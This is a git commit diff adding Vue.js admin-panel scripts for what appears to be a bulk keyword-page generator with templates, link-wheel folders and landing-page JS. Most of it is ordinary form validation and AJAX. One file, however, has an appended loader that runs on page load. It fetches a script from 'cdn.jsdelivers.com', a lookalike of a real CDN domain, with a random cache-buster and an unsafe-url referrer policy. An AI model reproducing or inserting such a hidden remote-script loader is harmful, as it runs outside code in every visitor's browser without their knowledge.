feat: 项目基础框架+配置+Kernel

This commit is contained in:
testadmin
2026-04-29 05:35:00 +08:00
parent 6ce7adcbfb
commit 9a6151fce3
5082 changed files with 437062 additions and 0 deletions
@@ -0,0 +1,71 @@
var app=new Vue({
el:"#app",
data:{
menuActive:"801",
menuAOpeneds:[],
nowtimes:"23",
one:{
email:'',
realname:'',
addtime:"",
logintime:"",
loginip:'',
level:"",
loginnumber:0,
face:'',
levelStr:''
},
ruleOne:{
}
},
created: function() {
var that=this;
this.init();
},
methods: {
init:function(){
this.one=my;
},
uppassSub:function(formName){
this.$refs[formName].validate((valid) => {
if (valid) {
var old=comm.sTrim(comm.uppassForm.oldpass)
var newp=comm.sTrim(comm.uppassForm.newpass)
var renewp=comm.sTrim(comm.uppassForm.repass)
var query={
old:old,
newp:newp,
renewp:renewp
};
$.ajax({
url: "/member/uppassto",
type: "post",
dataType: "json",
contentType: "application/json",
data:JSON.stringify(query),
success: function(data) {
comm.uppassForm.newpass="";
comm.uppassForm.oldpass="";
comm.uppassForm.renewpass="";
comm.uppassForm=false;
this.$message.success("密码修改成功。请使用新密码重新登录!");
setTimeout(function () {
window.location.href="/member/loginout";
}, 1500)
}.bind(this),
error:function(err){
//this.$message.error(JSON.parse(err.responseText).msg);
}.bind(this)
});
} else {
return false;
}
});
},
}
})
@@ -0,0 +1,271 @@
var app=new Vue({
el:"#app",
data(){
var filename_check = (rule, value, callback) => {
if (!value) {
return callback(new Error('文件名规则'));
} else {
const reg = /^[1a]{6,30}$/
//console.log(reg.test(value))
if (reg.test(value)) {
callback();
} else {
return callback(new Error('文件名规则6-30位a和1组合'));
}
}
};
var title_check = (rule, value, callback) => {
if (!value.length) {
return callback(new Error('请选择/输入页面标题'));
} else {
var arr=[];
for(var i=0;i<value.length;i++){
if(value[i].type=='input' && !value[i].con){
return callback(new Error('固定内容不能为空'));
}
if(value[i].type!='-' && value[i].type!='_' && !(value[i].type=='input' && !value[i].con)){
arr.push(value[i])
}
}
if(arr.length<1){
return callback(new Error('页面标题要包含key/固定内容/dynamic其中一项'));
}
callback();
}
};
var template_check = (rule, value, callback) => {
if (!value.length) {
return callback(new Error('请至少选择1个页面模板'));
} else {
callback();
}
};
var folder_check = (rule, value, callback) => {
if (!value) {
return callback(new Error('请输入生成文件夹名称'));
} else {
const reg = /^[a-z0-9]{3,20}$/
if (reg.test(value)) {
if(this.one.is_wheel){
if(this.one.wheel_chain.length<1){
return callback(new Error('请选择轮链目录'));
}
}else{
return callback();
}
return callback();
} else {
return callback(new Error('请输入3-20位字母+数字生成文件夹'));
}
}
};
var key_check = (rule, value, callback) => {
if (!value) {
return callback(new Error('请输入页面关键词'));
} else {
var arr=value.split("\n");
if(arr.length<1 || arr.length>10000){
return callback(new Error('最多只能1万个关键词'));
}
var newkey=[];
for(var i=0;i<arr.length;i++){
if(comm.sTrim(arr[i])){
newkey.push(arr[i])
}
}
var str="";
for(var x=0;x<newkey.length;x++){
if(x>0){
str+="\n";
}
str+=comm.sTrim(comm.middleTrim(newkey[x]));
}
this.one.key=str;
callback();
}
};
var ground_page_check = (rule, value, callback) => {
if (!value.length) {
return callback(new Error('请输入落地页JS全称'));
} else {
//const reg = /^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$/
const reg = /^[a-zA-Z0-9/]{1,100}(\.js)+$/
//console.log(reg.test(value))
if (reg.test(value)) {
callback();
} else {
return callback(new Error('请输入正确落地页JS全称格式'));
}
}
};
return{
menuActive:"101",
menuAOpeneds:[],
issub:true,
nowtimes:"23",
one:{
sitename:'',
title:[],
key:"",
folder:'',
is_wheel:false,
wheel_chain:[],
description_type:'content',//页面描述类型content为自动获取内容20-30个文本;key则需要自动插入关键字,需要录入数量
descriptionKey_num:1,//如果描述类型为key,则需要录入这个数量。1-
template:[],
filename_rules:"",
ground_page:'',
contentTypes:[]//内容类型
},
onekeyvalue:"",
onekeyinputIsshow:false,
floders:[],
templates:[],
types:[],//内容类型
ruleOne:{
sitename:[
{ required: true, message: '请输入网站名称', trigger: 'blur',min:1}
],
title:[
{ required: true, message: '请选择/输入页面标题', trigger: 'blur|change' },
{validator: title_check, trigger: 'blur'}
],
key:[
{ required: true,message: '请输入页面关键词', trigger: 'blur' },
{validator: key_check, trigger: 'blur'}
],
folder:[
{ required: true,message: '请输入生成文件夹名称', trigger: 'blur' },
{validator: folder_check, trigger: 'blur'}
],
filename_rules:[
{ required: true,min:6,max:30, message: '请输入文件名规则', trigger: 'blur|change' },
{validator: filename_check, trigger: 'blur|change'}
],
template:[
{ required: true,type:"array", message: '请至少选择1个页面模板', trigger: 'blur' },
{validator: template_check, trigger: 'blur'}
],
ground_page:[
{ required: true,message: '请输入落地页JS全称', trigger: 'blur' },
{validator: ground_page_check, trigger: 'blur'}
]
/**/
}
}
},
created: function() {
var that=this;
this.init();
},
methods: {
init:function(){
this.getalltemplates();
},
sub:function(formName){
this.$refs[formName].validate((valid) => {
if (valid) {
this.issub=false;
var query=this.one;
$.ajax({
url: "/member/createtask",
type: "post",
dataType: "json",
contentType: "application/json",
data:JSON.stringify(query),
success: function(data) {
this.$message.success("任务创建成功");
setTimeout(function () {
window.location.href="/member/htmlprogress";
}, 1000)
}.bind(this),
error:function(err){
this.issub=true;
}.bind(this)
});
} else {
return false;
}
});
},
keycount:function(){
var key=this.one.key.split("\n");
var newkey=[];
for(var i=0;i<key.length;i++){
if(key[i]){
newkey.push(key[i])
}
}
return newkey.length;
},
getalltemplates:function(){
$.ajax({
url: "/member/tp",
type: "get",
dataType: "json",
contentType: "application/json",
data:"",
success: function(data) {
this.templates=data.templates;
this.types=data.types
}.bind(this),
error:function(err){ }.bind(this)
});
},
addtitle:function(type){
var o={
type:type,
con:''
}
switch(type){
case "key":
o.con="key";
break;
case "dynamic":
o.con="dynamic";
break;
case "_":
o.con="_";
break;
case "-":
o.con="-";
break;
case "input":
o.con="";
break;
case "sitename":
o.con="网站名称";
break;
case "title":
o.con="文章标题";
break;
}
this.one.title.push(o);
},
deltitle:function(index){
this.one.title.splice(index,1)
},
delkey:function(tag){
this.one.key.splice(this.one.key.indexOf(tag),1);
},
showonekeyinput:function(){
this.onekeyinputIsshow = true;
this.$nextTick(_ => {
this.$refs.saveTagInput.$refs.input.focus();
});
},
hideonekeyinput:function(){
let onekeyvalue = this.onekeyvalue;
if (onekeyvalue) {
this.one.key.push(onekeyvalue);
}
this.onekeyinputIsshow = false;
this.onekeyvalue = '';
},
}
})
@@ -0,0 +1,120 @@
var app=new Vue({
el:"#app",
data(){
return{
menuActive:"102",
menuAOpeneds:[],
nowtimes:"23",
}
},
created: function() {
var that=this;
this.init();
},
methods: {
init:function(){
},
sub:function(formName){
this.$refs[formName].validate((valid) => {
if (valid) {
var query=this.one;
$.ajax({
url: "/member/createtask",
type: "post",
dataType: "json",
contentType: "application/json",
data:JSON.stringify(query),
success: function(data) {
}.bind(this),
error:function(err){
//this.$message.error(JSON.parse(err.responseText).msg);
}.bind(this)
});
} else {
return false;
}
});
},
keycount:function(){
var key=this.one.key.split("\n");
var newkey=[];
for(var i=0;i<key.length;i++){
if(key[i]){
newkey.push(key[i])
}
}
return newkey.length;
},
getalltemplates:function(){
$.ajax({
url: "/member/tp",
type: "get",
dataType: "json",
contentType: "application/json",
data:"",
success: function(data) {
this.templates=data.templates;
this.types=data.types
}.bind(this),
error:function(err){ }.bind(this)
});
},
addtitle:function(type){
var o={
type:type,
con:''
}
switch(type){
case "key":
o.con="key";
break;
case "dynamic":
o.con="dynamic";
break;
case "_":
o.con="_";
break;
case "-":
o.con="-";
break;
case "input":
o.con="";
break;
case "sitename":
o.con="网站名称";
break;
case "title":
o.con="文章标题";
break;
}
this.one.title.push(o);
},
deltitle:function(index){
this.one.title.splice(index,1)
},
delkey:function(tag){
this.one.key.splice(this.one.key.indexOf(tag),1);
},
showonekeyinput:function(){
this.onekeyinputIsshow = true;
this.$nextTick(_ => {
this.$refs.saveTagInput.$refs.input.focus();
});
},
hideonekeyinput:function(){
let onekeyvalue = this.onekeyvalue;
if (onekeyvalue) {
this.one.key.push(onekeyvalue);
}
this.onekeyinputIsshow = false;
this.onekeyvalue = '';
},
}
})
+46
View File
@@ -0,0 +1,46 @@
var app=new Vue({
el:"#app",
data:{
menuActive:"",
menuAOpeneds:[],
nowtimes:"23"
},
created: function() {
var that=this;
},
methods: {
init:function(){
},
}
})
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+57
View File
@@ -0,0 +1,57 @@
var app=new Vue({
el:"#app",
data:{
menuActive:"802",
menuAOpeneds:[],
nowtimes:"23"
},
created: function() {
var that=this;
},
methods: {
init:function(){
},
uppassSub:function(formName){
this.$refs[formName].validate((valid) => {
if (valid) {
var old=comm.sTrim(comm.uppassForm.oldpass)
var newp=comm.sTrim(comm.uppassForm.newpass)
var renewp=comm.sTrim(comm.uppassForm.repass)
var query={
old:old,
newp:newp,
renewp:renewp
};
$.ajax({
url: "/member/uppassto",
type: "post",
dataType: "json",
contentType: "application/json",
data:JSON.stringify(query),
success: function(data) {
comm.uppassForm.newpass="";
comm.uppassForm.oldpass="";
comm.uppassForm.renewpass="";
comm.uppassForm=false;
this.$message.success("密码修改成功。请使用新密码重新登录!");
setTimeout(function () {
window.location.href="/member/loginout";
}, 1500)
}.bind(this),
error:function(err){
//this.$message.error(JSON.parse(err.responseText).msg);
}.bind(this)
});
} else {
return false;
}
});
},
}
})